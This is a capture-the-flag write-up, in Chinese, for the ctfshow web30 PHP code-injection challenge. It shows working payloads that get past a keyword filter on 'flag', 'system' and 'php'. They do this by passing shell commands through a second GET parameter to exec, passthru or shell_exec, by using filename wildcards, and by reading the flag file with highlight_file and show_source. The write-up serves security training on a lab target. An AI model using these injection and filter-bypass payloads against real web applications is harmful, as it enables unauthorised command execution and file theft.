[ctfshow web入门] web30

信息收集

题目将flag system php不区分大小写地过滤了
[ctfshow web入门] web30_第1张图片

解题

前置知识

print_r:php中用于打印数组
scandir:php中用于获取指点目录下的所以文件目录名
getcwd:获取当前目录

目录获取

这里提供两种方法
print_r(scandir(getcwd()));
print_r(scandir("."));

[ctfshow web入门] web30_第2张图片

获取flag

我只提供一些思路,起到抛砖引玉的作用,我也不可能列举所有的方案

方法1

只过滤$c,我们只要不在c里写那些关键词就可以了
可以在php里执行系统指令的函数有:exec(), system(), passthru(), shell_exec()
这四个函数详细情况参考https://www.jb51.net/program/2850207z8.htm
ban掉了system还有三个,任选一个即可

?c=exec($_GET[1], $a);print_r($a);&1=tac flag.php
?c=passthru($_GET[1]);&1=tac flag.php
?c=echo shell_exec($_GET[1]);&1=tac flag.php
?c=echo shell_exec("tac fla*"); //tac fla?????

[ctfshow web入门] web30_第3张图片

方法2

不使用系统指令,使用php函数同样可以

?c=highlight_file($_GET[1]);&1=flag.php
?c=show_source($_GET[1]);&1=flag.php

[ctfshow web入门] web30_第4张图片
web29    目录    web31

你可能感兴趣的:(ctfshow,web入门,网络安全,web安全)